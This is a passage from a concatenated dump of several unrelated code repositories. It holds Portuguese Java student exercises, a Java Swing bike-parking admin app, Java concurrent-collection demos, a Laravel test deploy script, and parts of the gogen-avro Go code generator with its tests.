System.out.println("Escolha efetuada com sucesso!!!"); matriz[vag][lugar] = 1; vfinal += 300; }else{ System.out.println("Assento já escolhido nesse vagão!!!"); } break; default: System.out.println("Assento inválido!!!"); } System.out.println("Deseja comprar de novo?"); querer = leia.nextBoolean(); }while(querer); System.out.println("O valor total da compra foi: R$" + vfinal + ",00"); } } <file_sep>/terceira-av1.java package Atividades; import java.util.Scanner; public class Terceira { public static Scanner leia = new Scanner (System.in); public static void main (String args[]){ float p; float m; float g; float total; float pp = 1.3; float pm 2.2; float pg 3.0; System.out.print("Quantidade de sorvete pequeno: "); p = leia.nextInt(); System.out.print("Quantidade de sorvete médio: "); m = leia.nextInt(); System.out.print("Quantidade de sorvete grande: "); g = leia.nextInt(); total = (p*pp)+(m*pm)+(g*pg); System.out.println("O valor total da sua compra foi de R$" + total); } }<file_sep>/Sorteio.java package Atividades; import java.util.*; public class Sorteio { public static Scanner leia = new Scanner (System.in); public static void main (String args[]){ Random random = new Random(); int sort = random.nextInt(3); int comp; Boolean querer = false; do{ do{ System.out.print("Digite um número para o sorteiro: "); comp = leia.nextInt(); if(comp > sort){ System.out.println("Quase... Tente um menor!"); }else if(comp < sort){ System.out.println("Quase... Tente um maior!"); }else{ System.out.println("Parabéns, você ACERTOU!!!"); } }while(comp != sort); System.out.println("Quer jogar de novo? "); querer = leia.nextBoolean(); }while(querer); } }
760f0908d844d4ad992a88789b7c038b39ced9c1
[ "Markdown", "Java" ]
5
Java
L-Alefe/Questoes-java
8cb4de3fdd5b72d42cea46b9edf3e1d633289dae
02b7d1f7dd06dd5872f9884c65d798b3a165a1b1
refs/heads/master
<file_sep> import javax.swing.*; import java.awt.event.*; import java.awt.*; public class Admistrator_CheckUser extends JFrame implements ActionListener { public JButton check, back; public JLabel id_label; public JTextField id_text; JPanel panel1,panel2; String idBuffer; Object[] options= {"OK"}; public Admistrator_CheckUser() { Container c = this.getContentPane(); panel1=new JPanel(); //panel1.setPreferredSize(new Dimension(400, 600)); //panel1.setSize(15,20); id_label = new JLabel("ID Numer:"); panel1.add(id_label); id_text=new JTextField(8); panel1.add(id_text); panel2=new JPanel(); //panel2.setPreferredSize(new Dimension(1, 1)); //panel2.setSize(1,1); check=new JButton("Check"); check.addActionListener(this); panel2.add(check); back=new JButton("Back"); back.addActionListener(this); panel2.add(back); c.add(panel1,BorderLayout.CENTER); c.add(panel2,BorderLayout.SOUTH); this.setTitle("Administrator"); this.setDefaultCloseOperation(EXIT_ON_CLOSE); } public void actionPerformed(ActionEvent e) { JButton eventSource = (JButton) e.getSource(); if (eventSource == check) { if(id_text.getText().isEmpty())//check whether input is empty { JOptionPane.showOptionDialog(null,"You information is not fill out completely","Please enter again",JOptionPane.DEFAULT_OPTION, JOptionPane.WARNING_MESSAGE,null,options,options[0]); } /*else if ()//check input format { JOptionPane.showOptionDialog(null,"You input format is incorrect","Please enter again",JOptionPane.DEFAULT_OPTION, JOptionPane.WARNING_MESSAGE,null,options,options[0]); } */ /*else if ()//check if the user ID is in database { JOptionPane.showOptionDialog(null,"The user's ID is not in the database","Please enter again",JOptionPane.DEFAULT_OPTION, JOptionPane.WARNING_MESSAGE,null,options,options[0]); } */ else { idBuffer=id_text.getText(); System.out.println("idBuffer="+idBuffer); Admistrator_UserReport UserReport = new Admistrator_UserReport();//为跳转的界面 UserReport.pack(); UserReport.setSize(300, 200); UserReport.setLocationRelativeTo(null); UserReport.setVisible(true); this.dispose();//销毁当前界面 } } else if (eventSource == back) { Admistrator_main main = new Admistrator_main();//为跳转的界面 main.pack(); main.setSize(300, 200); main.setLocationRelativeTo(null); main.setVisible(true); this.dispose();//销毁当前界面 } } } <file_sep>import java.io.Serializable; public class Student implements Serializable{ private String QMNum="161194886"; private String name; private String email; private int currentTime=0; private int totalTime=0; private boolean differentDay=false; private int dataMonth=0; private int dataDay=0; public Student(){ } public Student(String QMNum, String name, String email){ this.QMNum=QMNum; this.name=name; this.email=email; } public void setQMNum(String QMNum){ this.QMNum=QMNum; } public String getQMNum(){ return this.QMNum; } public void setStudentName(String name){ this.name=name; } public String getStudentName(){ return this.name; } public void setEmail(String email){ this.email=email; } public String getEmail(){ return this.email; } public void setCurrentTime(int currentTime){ this.currentTime=currentTime; } public int getCurrentTime(){ return this.currentTime; } public void setTotalTime(int totalTime){ this.totalTime=totalTime; } public int getTotalTime(){ return this.totalTime; } public void setDifferentDay(boolean differentDay){ this.differentDay=differentDay; } public boolean getDifferentDay(){ return this.differentDay; } public boolean getDifferentDay(int dataMonth, int dataDay){ if(this.dataMonth==dataMonth && this.dataDay==dataDay) return false; else return true; } public void setDataMonth(int dataMonth){ this.dataMonth=dataMonth; } public int getDataMonth(){ return this.dataMonth; } public void setDataDay(int dataDay){ this.dataDay=dataDay; } public int getDataDay(){ return this.dataDay; } } <file_sep>import java.io.IOException; import java.io.*; import java.io.Serializable; import java.io.OutputStream; import java.io.ObjectOutputStream; import java.io.ObjectInputStream; import java.io.File; import java.io.FileOutputStream; import java.io.FileInputStream; import java.util.Calendar; public class IOTest{ public static ParkingLot QM=new ParkingLot(8,8,8); public static ParkingLot QM1=new ParkingLot(); //用于传递qm 操作时对qm1操作 public static Calendar calendar=Calendar.getInstance(); public static int month =calendar.get(Calendar.MONTH); public static int date =calendar.get(Calendar.DATE); public static int hour = calendar.get(Calendar.HOUR_OF_DAY); public static int minute = calendar.get(Calendar.MINUTE); public static int time=((month*30+date)*24+hour)*60+minute; public static Student student= new Student("161194886","<NAME>","<EMAIL>"); public static Student student1=new Student(); public static void getStudentDataFromChart(){ student1.setQMNum("161194886"); student1.setStudentName("<NAME>"); student1.setEmail("<EMAIL>"); } public static void studentInput() throws IOException,ClassNotFoundException{ try{ File file1=new File("/Users/dongzeyuan1/Desktop/"+student1.getQMNum()); FileInputStream fis1= new FileInputStream(file1); ObjectInputStream iis1= new ObjectInputStream(fis1); Student student=(Student)iis1.readObject(); iis1.close(); System.out.println(student.getQMNum()); System.out.println(student.getStudentName()); System.out.println(student.getEmail()); System.out.println(student.getCurrentTime()); System.out.println(student.getTotalTime()); System.out.println(student.getDifferentDay()); student1=student; }catch(IOException e){ // File file1=new File("/Users/dongzeyuan1/Desktop/"+student1.getQMNum()); // file1.createNewFile(); // System.out.println("The txt file "+student1.getQMNum()+".txt is created!"); e.printStackTrace(); } } public static void studentOutput(){ student=student1; try{ FileOutputStream fos1= new FileOutputStream(new File("/Users/dongzeyuan1/Desktop/"+student1.getQMNum())); ObjectOutputStream oos1; oos1=new ObjectOutputStream(fos1); oos1.writeObject(student); oos1.close(); }catch(IOException e){ e.printStackTrace(); } } public static void output(){ // ParkingLot QM1=new ParkingLot(8,8,8); //该行用于重置 //QM1.takeBikeFromA(); //QM1.returnBikeToB(); //QM1.getBikeOnTheWay(); QM=QM1; try{ FileOutputStream fos= new FileOutputStream(new File("/Users/dongzeyuan1/Desktop/Database")); ObjectOutputStream oos; oos=new ObjectOutputStream(fos); oos.writeObject(QM); oos.close(); }catch(IOException e){ e.printStackTrace(); } } public static void input()throws IOException,ClassNotFoundException{ try{ File file=new File("/Users/dongzeyuan1/Desktop/Database"); FileInputStream fis= new FileInputStream(file); ObjectInputStream iis= new ObjectInputStream(fis); ParkingLot QM=(ParkingLot)iis.readObject(); iis.close(); //System.out.println(QM.getBikeInA()); //System.out.println(QM.getBikeInB()); //System.out.println(QM.getBikeOnTheWay()); QM1=QM; }catch(IOException e){ e.printStackTrace(); } } //从A地借车,并储存借车信息。成功借车返回1,A地无车返回0,输入为QMNum的字符串 public static int borrowBikeFromA(){ try{ input(); }catch(ClassNotFoundException | IOException e){ e.printStackTrace(); } if(QM1.getBikeInA()<=0){ return 0; } else{ QM1.takeBikeFromA(); output(); getStudentDataFromChart(); try{ studentInput(); }catch(ClassNotFoundException | IOException e){ e.printStackTrace(); } student1.setCurrentTime(time); if(student1.getDifferentDay(month,date)==false){ } else{ student1.setDataMonth(month); student1.setDataDay(date); student1.setTotalTime(0); } studentOutput(); return 1; } } public static void main(String args[])throws IOException{ /* try{ input(); }catch(ClassNotFoundException e){ e.printStackTrace(); } output(); */ /* try{ input(); }catch(ClassNotFoundException e){ e.printStackTrace(); } */ int a; a=borrowBikeFromA(); System.out.println( month+" "+date+" "+hour+" "+minute+" "+time); try{ studentInput(); }catch(ClassNotFoundException e){ e.printStackTrace(); } System.out.println(student1.getDifferentDay()); System.out.println(student1.getCurrentTime()); System.out.println(student1.getTotalTime()); System.out.println(student1.getDataMonth()); System.out.println(student1.getDataDay()); System.out.println(QM1.getBikeInA()); System.out.println(a); } } <file_sep> import java.io.IOException; import java.io.*; import java.io.Serializable; import java.io.OutputStream; import java.io.ObjectOutputStream; import java.io.ObjectInputStream; import java.io.File; import java.io.FileOutputStream; import java.io.FileInputStream; import java.util.Calendar; import javax.swing.*; import java.awt.event.*; import java.awt.*; public class Admistrator_Register extends JFrame implements ActionListener { public JButton register, back; public JLabel id_label,name_label,email_label; public JTextField id_text,name_text,email_text; JPanel panel1,panel2,panel3,panel4,panel5,panel6,panel7; private String idBuffer,nameBuffer,emailBuffer; Object[] options= {"OK"}; public Admistrator_Register() { Container c = this.getContentPane(); c.setLayout(new BorderLayout()); panel1=new JPanel(); //panel1.setPreferredSize(new Dimension(400, 600)); //panel1.setSize(15,20); panel1.setLayout(new GridLayout(4,2,10,10)); id_label = new JLabel("ID Numer:"); panel1.add(id_label); id_text=new JTextField(8); panel1.add(id_text); name_label = new JLabel(" Name:"); panel1.add(name_label); name_text=new JTextField(8); panel1.add(name_text); email_label = new JLabel(" Email:"); panel1.add(email_label); email_text=new JTextField(8); panel1.add(email_text); //panel2=new JPanel(); //panel2.setPreferredSize(new Dimension(1, 1)); //panel2.setSize(1,1); register=new JButton("Register"); register.addActionListener(this); panel1.add(register); back=new JButton("Back"); back.addActionListener(this); panel1.add(back); //panel2.setLayout(new GridLayout(0,2,10,10)); //panel7=new JPanel(); //panel7.add(panel1); //panel7.add(panel2); //panel7.setLayout(new GridLayout(2,1,10,10)); panel3=new JPanel(); panel4=new JPanel(); panel5=new JPanel(); panel6=new JPanel(); c.add(panel1,BorderLayout.CENTER); c.add(panel6,BorderLayout.SOUTH); c.add(panel3,BorderLayout.WEST); c.add(panel4,BorderLayout.EAST); c.add(panel5,BorderLayout.NORTH); this.setTitle("Administrator"); this.setDefaultCloseOperation(EXIT_ON_CLOSE); } public void actionPerformed(ActionEvent e) { JButton eventSource = (JButton) e.getSource(); if (eventSource == register) { if(id_text.getText().isEmpty()||name_text.getText().isEmpty()||email_text.getText().isEmpty())//check whether input is empty { JOptionPane.showOptionDialog(null,"You information is not fill out completely","Please enter again",JOptionPane.DEFAULT_OPTION, JOptionPane.WARNING_MESSAGE,null,options,options[0]); } /*else if ()//check input format { JOptionPane.showOptionDialog(null,"You input format is incorrect","Please enter again",JOptionPane.DEFAULT_OPTION, JOptionPane.WARNING_MESSAGE,null,options,options[0]); } */ /*else if ()//check if the user ID is in database { JOptionPane.showOptionDialog(null,"Your information has met the requirements","Keep going",JOptionPane.DEFAULT_OPTION, JOptionPane.INFORMATION_MESSAGE,null,options,options[0]); } */ else { idBuffer=id_text.getText(); nameBuffer=name_text.getText(); emailBuffer=email_text.getText(); IOTest.student1.setQMNum(idBuffer); IOTest.student1.setStudentName(nameBuffer); IOTest.student1.setEmail(emailBuffer); IOTest.studentOutput(); System.out.println("idBuffer="+idBuffer); System.out.println("nameBuffer="+nameBuffer); System.out.println("emailBuffer="+emailBuffer); /* try{ IOTest.studentInput(); }catch(ClassNotFoundException | IOException ex){ ex.printStackTrace(); } System.out.println(IOTest.student1.getQMNum()); System.out.println(IOTest.student1.getStudentName()); System.out.println(IOTest.student1.getEmail()); System.out.println(IOTest.student1.getCurrentTime()); System.out.println(IOTest.student1.getTotalTime()); System.out.println(IOTest.student1.getDifferentDay()); System.out.println(IOTest.student1.getDataMonth()); System.out.println(IOTest.student1.getDataDay()); */ //Sucessfully log in (JOptionPane) } } else if (eventSource == back) { Admistrator_main main = new Admistrator_main();//为跳转的界面 main.pack(); main.setSize(300, 200); main.setLocationRelativeTo(null); main.setVisible(true); this.dispose(); } } /* public static void main(String[] args) { Admistrator_Register myDemo = new Admistrator_Register(); myDemo.pack(); myDemo.setVisible(true); } */ }
0b169e4c4f0a06f8c24f3f51a985d553266d3ccd
[ "Java" ]
4
Java
SereneTo/Software-Engineering-Project
3a60170587908cfa632f864bd8b7ee52cc2b0b70
5a6ae9d412382ea9be42ab01b8e9e596a596b40a
refs/heads/master
<file_sep>package concurrent.sets; import java.util.concurrent.CopyOnWriteArraySet; public class ConcurrentSkipListSets { public static void main(String[] args) { CopyOnWriteArraySet<Integer> set = new CopyOnWriteArraySet<>(); set.add(1); set.add(1); set.add(null); set.add(null); for (Integer integer : set) { System.out.println(integer); } } } <file_sep>package concurrent.maps; import java.util.Iterator; import java.util.Map; import java.util.Map.Entry; import java.util.concurrent.ConcurrentSkipListMap; /** * It is a scalable concurrent ConcurrentNavigableMap implementation.The map is * sorted according to the natural ordering of its keys, or by a Comparator * provided at map creation time, depending on which constructor is used. This * class implements a concurrent variant of SkipLists. It provides log(n) time * complexity for the following operations :- containsKey, get, put and remove * Insertion, removal, update, and access operations safely execute concurrently * by multiple threads. The Iterator does not give a guarantee of showing the * consistent data. Iterators and Spliterators are weakly consistent. and does not throw * ConcurrentModificationException. This class and its views and iterators * implement all of the optional methods of the Map and Iterator interfaces. * Like most other concurrent collections, this class does not permit the use of * null keys or values because some null return values cannot be reliably * distinguished from the absence of elements. * * Ascending key ordered views and their iterators are faster than descending ones. * The reason is that ConcurrentSkipListMap internally uses a skip-list and skip-list are effectively * a complicated form of linked list with the links going in the direction of an ordering of the list entries. * When we traverse the skip list in the forward direction, we are simply following the links. * Each next() call is an O(1) operation. * When we traverse the skip list in the reverse direction, each next() call has to find the key * before the last key returned. This is an O(logN) operation. * * @author choudshe * */ public class ConcurrentSkipListMaps { public static void main(String[] args) { Map<Integer, String> concurrentSkipListMap = new ConcurrentSkipListMap<>(); concurrentSkipListMap.put(1, "one"); concurrentSkipListMap.put(3, "three"); concurrentSkipListMap.put(2, "two"); concurrentSkipListMap.put(4, "four"); concurrentSkipListMap.put(6, "six"); concurrentSkipListMap.put(5, "five"); Iterator<Integer> itr = concurrentSkipListMap.keySet().iterator(); } } <file_sep>package concurrent.maps; import java.util.Iterator; import java.util.concurrent.ConcurrentHashMap; /** * This example here shows that when we iterate over a concurrent HashMap using an iterator * and removes an element from it and if another thread add the same element to it concurrently * at the same time then we wont be able to get the exact picture and instead we will see that removal * has never happened. * According to java specification :- * Iterators and Enumerations return elements reflecting the state of the hash table at some point at or * since the creation of the iterator/enumeration. * so here in our example we removed the key 2 from our map using the remove() method of the * iterator and asked the main thread to sleep for 10 seconds and at the same time another thread t * adds the key 2 to it. so the iterator prints key 2 in its output. * * Output when run in single threaded environment :- * * ********iteration by iterator********* key : 1 value : one key : 2 value : null key : 3 value : three key : 4 value : four *********final iteration******** key : 1 value : one key : 3 value : three key : 4 value : four Output when run in multithreaded environment :- ********iteration by iterator********* key : 1 value : one key : 2 value : two key : 3 value : three key : 4 value : four *********final iteration******** key : 1 value : one key : 2 value : two key : 3 value : three key : 4 value : four * @author choudshe * */ public class ConcurrentHashMaps { public static void main(String[] args) { ConcurrentHashMap<Integer,String> map = new ConcurrentHashMap<>(); map.put(1, "one"); map.put(2, "two"); map.put(3, "three"); map.put(4, "four"); Iterator<Integer> itr = map.keySet().iterator(); Thread t = new Thread(new Runnable() { @Override public void run() { try { Thread.sleep(5000); } catch (InterruptedException e) { // TODO Auto-generated catch block e.printStackTrace(); } map.put(2, "two"); } }); t.start(); System.out.println("********iteration by iterator*********"); while(itr.hasNext()) { int i = itr.next(); if(i==2) { itr.remove(); try { Thread.sleep(10000); } catch (InterruptedException e) { // TODO Auto-generated catch block e.printStackTrace(); } } System.out.println("key : "+i+" value : "+map.get(i)); } System.out.println("*********final iteration********"); for (Integer x : map.keySet()) { System.out.println("key : "+x+" value : "+map.get(x)); } } }
e170cb9811e6023be628558a6338097bfb21aa15
[ "Java" ]
3
Java
ShekharChoudhary/practice.java.concurrent.collection
1d417af4deb617dc1fa9ed9a3baf6f6d7cb1129f
0d9c656124a9c95aaf093330264a642e72d23b33
refs/heads/master
<file_sep>server 'vagrant@localhost', roles: %w{web app} set :ssh_options, { keys: "~/.ssh/id_rsa", auth_methods: %w{'publickey'} } <file_sep>#!/bin/bash TESTS=( "4_2" "5_0" "5_1" "5_2" "5_3" "5_4" ) if [ ! -z $1 ]; then TESTS=($1) fi # gem install capistrano-laravel for test in ${TESTS[@]}; do pushd laravel/${test} cap --trace test deploy popd done <file_sep># capistrano-laravel-test Laravel application for testing the Capistrano laravel plugin. # How to run all tests ```shell vagrant up vagrant ssh cd /vagrant ./run-tests.sh ``` # How to tests against a specific version ```shell vagrant up vagrant ssh cd /vagrant ./run-tests.sh {version: 4.2, 5.0, 5.1, 5.2, 5.3} ``` <file_sep>REPOSITORY_URL=$(git remote get-url origin) LARAVEL_URLS=( "https://github.com/laravel/laravel/archive/v3.0.4.tar.gz" "https://github.com/laravel/laravel/archive/v3.1.9.tar.gz" "https://github.com/laravel/laravel/archive/v3.2.14.tar.gz" "https://github.com/laravel/laravel/archive/v4.0.9.tar.gz" "https://github.com/laravel/laravel/archive/v4.1.27.tar.gz" "https://github.com/laravel/laravel/archive/v4.2.11.tar.gz" "https://github.com/laravel/laravel/archive/v5.0.22.tar.gz" "https://github.com/laravel/laravel/archive/v5.1.33.tar.gz" "https://github.com/laravel/laravel/archive/v5.2.31.tar.gz" "https://github.com/laravel/laravel/archive/v5.3.30.tar.gz" "https://github.com/laravel/laravel/archive/v5.4.3.tar.gz" ) for url in ${LARAVEL_URLS[@]}; do filename=$(basename ${url}) major_version=$(echo ${filename} | cut -d'v' -f2 | cut -d'.' -f1) minor_version=$(echo ${filename} | cut -d'v' -f2 | cut -d'.' -f2) patch_version=$(echo ${filename} | cut -d'v' -f2 | cut -d'.' -f3) branch="${major_version}.${minor_version}" folder="laravel-${major_version}.${minor_version}.${patch_version}" # Download and extract the project skeleton wget ${url} -O "${filename}" tar xzvf "${filename}" pushd "${folder}" # Initialize as a new git repository git init # Add the repository as origin git remote add origin ${REPOSITORY_URL} # Create a new-unattached branch git checkout --orphan ${branch} # Commit the project base git add --all git commit -m 'Initial commit' # Upload to the repository and verwrite any existing branch git push --force --set-upstream origin ${branch} popd # Remove the downloaded tar and project files rm -rf "${filename}" rm -rf "${folder}" done
d17f0712cfb613835c817b98a17b14ae0a4e55a7
[ "Markdown", "Ruby", "Shell" ]
4
Ruby
ikari7789/capistrano-laravel-test
c8d76f253a6c7dc78917bda3f424704175c62849
9d8df522c990b666ef44eb0f65a25e3244bba45e
refs/heads/master
<file_sep>package types import ( "fmt" "github.com/alanctgardner/gogen-avro/generator" ) const writeFixedMethod = ` func %v(r %v, w io.Writer) error { _, err := w.Write(r[:]) return err } ` const readFixedMethod = ` func %v(r io.Reader) (%v, error) { var bb %v _, err := io.ReadFull(r, bb[:]) return bb, err } ` type FixedDefinition struct { name QualifiedName aliases []QualifiedName sizeBytes int metadata map[string]interface{} } func (s *FixedDefinition) AvroName() QualifiedName { return s.name } func (s *FixedDefinition) Aliases() []QualifiedName { return s.aliases } func (s *FixedDefinition) FieldType() string { return s.GoType() } func (s *FixedDefinition) GoType() string { return generator.ToPublicName(s.name.Name) } func (s *FixedDefinition) serializerMethodDef() string { return fmt.Sprintf(writeFixedMethod, s.SerializerMethod(), s.GoType()) } func (s *FixedDefinition) deserializerMethodDef() string { return fmt.Sprintf(readFixedMethod, s.DeserializerMethod(), s.GoType(), s.GoType()) } func (s *FixedDefinition) typeDef() string { return fmt.Sprintf("type %v [%v]byte\n", s.GoType(), s.sizeBytes) } func (s *FixedDefinition) filename() string { return generator.ToSnake(s.GoType()) + ".go" } func (s *FixedDefinition) SerializerMethod() string { return fmt.Sprintf("write%v", s.FieldType()) } func (s *FixedDefinition) DeserializerMethod() string { return fmt.Sprintf("read%v", s.FieldType()) } func (s *FixedDefinition) AddStruct(p *generator.Package) { p.AddStruct(s.filename(), s.GoType(), s.typeDef()) } func (s *FixedDefinition) AddSerializer(p *generator.Package) { p.AddFunction(UTIL_FILE, "", s.SerializerMethod(), s.serializerMethodDef()) p.AddImport(UTIL_FILE, "io") } func (s *FixedDefinition) AddDeserializer(p *generator.Package) { p.AddFunction(UTIL_FILE, "", s.DeserializerMethod(), s.deserializerMethodDef()) p.AddImport(UTIL_FILE, "io") } func (s *FixedDefinition) ResolveReferences(n *Namespace) error { return nil } func (s *FixedDefinition) Schema(names map[QualifiedName]interface{}) interface{} { name := s.name.String() // If name already seen if v, ok := names[s.name]; ok { // v is times name was seen ts := v.(int) // Add a suffix to the name to avoid name collisions name += "_" + fmt.Sprintf("%d", ts) // Update the times seen count names[s.name] = ts + 1 } // mark name as seen names[s.name] = 1 return mergeMaps(map[string]interface{}{ "type": "fixed", "name": name, "size": s.sizeBytes, }, s.metadata) } <file_sep>package avro import ( "fmt" "testing" ) func TestDoubleReferenceSchema(t *testing.T) { // If the generator fails to generate code due to the double reference // the following snippet would fail to run fmt.Println(&RecB{ RecA1: &RecA{String: "hello"}, RecA2: &RecA{String: "goodbye"}, }) } <file_sep>package avro import ( "strings" "testing" ) var ( IPAddressZero = IPAddress{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0} IPAddressV4Full = IPAddress{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255} ) func TestUUIDGenerationDeterministic(t *testing.T) { u := UUID{ String: "", Boolean: true, Int: 1, Long: 2, IPAddress: IPAddressZero, Object: &Object{ Name: "Boop", }, // lists StringArray: []string{""}, BooleanArray: []bool{true}, IntArray: []int32{1, 2}, LongArray: []int64{3, 4}, // unions NullableString: UnionNullString{ String: "", UnionType: UnionNullStringTypeEnumString, }, NullableBoolean: UnionNullBool{ Bool: true, UnionType: UnionNullBoolTypeEnumBool, }, NullableInt: UnionNullInt{ Int: 1, UnionType: UnionNullIntTypeEnumInt, }, NullableLong: UnionNullLong{ Long: 2, UnionType: UnionNullLongTypeEnumLong, }, } // Test that ID generation is deterministic and depends on field values idA := u.GenerateID() idB := u.GenerateID() if idA != idB { t.Fatalf("expected ids to be identical") } // Changing a field value should change the ID u.String = "string" idC := u.GenerateID() if idA == idC { t.Fatalf("expected ids to be different") } } func TestStringSerializer(t *testing.T) { if s := stringSerializer("hello"); s != "hello" { t.Fatalf("string serializer provided wrong result") } // list expectedResult := "hello" + ArraySeparator + "bye" if s := stringSliceSerializer([]string{"hello", "bye"}); s != expectedResult { t.Fatalf("string slice serializer provided wrong result") } // union if s := unionNullStringSerializer(UnionNullString{ String: "hello", UnionType: UnionNullStringTypeEnumString, }); s != "hello" { t.Fatalf("nullable string serializer provided wrong result") } if s := unionNullStringSerializer(UnionNullString{ UnionType: UnionNullStringTypeEnumNull, }); s != "" { t.Fatalf("nullable string serializer provided wrong result") } } func TestInt32Serializer(t *testing.T) { if s := int32Serializer(1); s != "1" { t.Fatalf("int32 serializer provided wrong result") } if s := int32Serializer(-1); s != "-1" { t.Fatalf("int32 serializer provided wrong result") } // list expectedResult := "1" + ArraySeparator + "-1" if s := int32SliceSerializer([]int32{1, -1}); s != expectedResult { t.Fatalf("int32 slice serializer provided wrong result") } // union if s := unionNullIntSerializer(UnionNullInt{ Int: -1, UnionType: UnionNullIntTypeEnumInt, }); s != "-1" { t.Fatalf("nullable int32 serializer provided wrong result") } if s := unionNullIntSerializer(UnionNullInt{ UnionType: UnionNullIntTypeEnumNull, }); s != "" { t.Fatalf("nullable int32 serializer provided wrong result") } } func TestInt64Serializer(t *testing.T) { if s := int64Serializer(1); s != "1" { t.Fatalf("int64 serializer provided wrong result") } if s := int64Serializer(-1); s != "-1" { t.Fatalf("int64 serializer provided wrong result") } // list expectedResult := "1" + ArraySeparator + "-1" if s := int64SliceSerializer([]int64{1, -1}); s != expectedResult { t.Fatalf("int64 slice serializer provided wrong result") } // union if s := unionNullLongSerializer(UnionNullLong{ Long: -1, UnionType: UnionNullLongTypeEnumLong, }); s != "-1" { t.Fatalf("nullable int64 serializer provided wrong result") } if s := unionNullLongSerializer(UnionNullLong{ UnionType: UnionNullLongTypeEnumNull, }); s != "" { t.Fatalf("nullable int64 serializer provided wrong result") } } func TestBooleanSerializer(t *testing.T) { if s := boolSerializer(false); s != "false" { t.Fatalf("bool serializer provided wrong result") } if s := boolSerializer(true); s != "true" { t.Fatalf("bool serializer provided wrong result") } // list expectedResult := "true" + ArraySeparator + "false" if s := boolSliceSerializer([]bool{true, false}); s != expectedResult { t.Fatalf("bool slice serializer provided wrong result") } // union if s := unionNullBoolSerializer(UnionNullBool{ Bool: true, UnionType: UnionNullBoolTypeEnumBool, }); s != "true" { t.Fatalf("nullable boolean serializer provided wrong result") } if s := unionNullBoolSerializer(UnionNullBool{ UnionType: UnionNullBoolTypeEnumNull, }); s != "" { t.Fatalf("nullable boolean serializer provided wrong result") } } func TestIPSerializer(t *testing.T) { // case IPAddressZero expectedResult := strings.Join( []string{"0", "0", "0", "0", "0", "0", "0", "0", "0", "0", "0", "0", "0", "0", "0", "0"}, ArraySeparator, ) if s := ipSerializer(IPAddressZero); s != expectedResult { t.Fatalf("ip serialize provided wrong result") } // case IPAddressV4Full expectedResult = strings.Join( []string{"0", "0", "0", "0", "0", "0", "0", "0", "0", "0", "255", "255", "255", "255", "255", "255"}, ArraySeparator, ) if s := ipSerializer(IPAddressV4Full); s != expectedResult { t.Fatalf("ip serialize provided wrong result") } } <file_sep>package avro import ( "bytes" "encoding/json" "io/ioutil" "reflect" "testing" "github.com/linkedin/goavro" "github.com/stretchr/testify/assert" ) /* Round-trip some primitive values through our serializer and goavro to verify */ const fixtureJson = ` [ {"IntField": 1, "LongField": 2, "FloatField": 3.4, "DoubleField": 5.6, "StringField": "789"}, {"IntField": 2147483647, "LongField": 9223372036854775807, "FloatField": 3.402823e+38, "DoubleField": 1.7976931348623157e+308, "StringField": ""}, {"IntField": -2147483647, "LongField": -9223372036854775807, "FloatField": 3.402823e-38, "DoubleField": 2.2250738585072014e-308, "StringField": ""} ] ` func compareFixtureGoAvro(t *testing.T, actual interface{}, expected interface{}) { record := actual.(*goavro.Record) value := reflect.ValueOf(expected) for i := 0; i < value.NumField(); i++ { fieldName := value.Type().Field(i).Name structVal := value.Field(i).Interface() avroVal, err := record.Get(fieldName) if err != nil { t.Fatal(err) } if !reflect.DeepEqual(structVal, avroVal) { t.Fatalf("Field %v not equal: %v != %v", fieldName, structVal, avroVal) } } } func TestPrimitiveFixture(t *testing.T) { fixtures := make([]PrimitiveTestRecord, 0) err := json.Unmarshal([]byte(fixtureJson), &fixtures) if err != nil { t.Fatal(err) } schemaJson, err := ioutil.ReadFile("primitives.avsc") if err != nil { t.Fatal(err) } codec, err := goavro.NewCodec(string(schemaJson)) if err != nil { t.Fatal(err) } var buf bytes.Buffer for _, f := range fixtures { buf.Reset() err = f.Serialize(&buf) if err != nil { t.Fatal(err) } datum, err := codec.Decode(&buf) if err != nil { t.Fatal(err) } compareFixtureGoAvro(t, datum, f) } } func TestRoundTrip(t *testing.T) { fixtures := make([]PrimitiveTestRecord, 0) err := json.Unmarshal([]byte(fixtureJson), &fixtures) if err != nil { t.Fatal(err) } var buf bytes.Buffer for _, f := range fixtures { buf.Reset() err = f.Serialize(&buf) if err != nil { t.Fatal(err) } datum, err := DeserializePrimitiveTestRecord(&buf) if err != nil { t.Fatal(err) } assert.Equal(t, *datum, f) } } <file_sep># Stage 1 - Build binary FROM golang:1.9.1 AS builder WORKDIR /go/src/github.com/alanctgardner/gogen-avro ADD . . ENV CGO_ENABLED=0 RUN go build -o /out/gogen-avro -v -a -tags netgo -ldflags="-s -w" . # Stage 2 - Package binary # # Note that we cannot use 'FROM scratch' here because this container needs to be # runnable in Jenkins, which requires 'cat' to exist for 'docker.inside()' to # work. FROM alpine:3.6 WORKDIR /app/ COPY --from=builder /out/gogen-avro . COPY --from=builder /etc/ssl/certs /etc/ssl/certs ENTRYPOINT ["./gogen-avro"] <file_sep>package types import ( "fmt" "github.com/alanctgardner/gogen-avro/generator" ) // AddUUIDSerializerToPackage will add a file with Serializer functions // to the generated package code func AddUUIDSerializerToPackage(pkg *generator.Package, requiredSerializers []string) { // Don't create the file if no uuid serializers are required if len(requiredSerializers) == 0 { return } fName := "uuid_serializers.go" pkg.AddImport(fName, "fmt") pkg.AddConstant(fName, "FieldSeparator", string(0x1E)) pkg.AddConstant(fName, "ArraySeparator", string(0x1F)) for _, reqSer := range requiredSerializers { ser, ok := serializers[reqSer] if !ok { panic(fmt.Sprintf("uuid serializer for %s not found", reqSer)) } pkg.AddFunction(fName, "", reqSer, ser) } } var allowedFieldTypes = map[string]bool{ "string": true, "[]string": true, "bool": true, "[]bool": true, "byte": true, "[]byte": true, // int "int": true, "[]int": true, "int32": true, "[]int32": true, "int64": true, "[]int64": true, // ip "IPAddress": true, // unions "UnionNullString": true, "UnionNullInt": true, "UnionNullLong": true, "UnionNullBool": true, "UnionNullIPAddress": true, } var typeSerializerFuncs = map[string]string{ "byte": "byteSerializer", "[]byte": "byteSliceSerializer", "bool": "boolSerializer", "[]bool": "boolSliceSerializer", "string": "stringSerializer", "[]string": "stringSliceSerializer", // int "int": "intSerializer", "[]int": "intSliceSerializer", "int32": "int32Serializer", "[]int32": "int32SliceSerializer", "int64": "int64Serializer", "[]int64": "int64SliceSerializer", // IP related "IPAddress": "ipSerializer", // unions "UnionNullString": "unionNullStringSerializer", "UnionNullInt": "unionNullIntSerializer", "UnionNullLong": 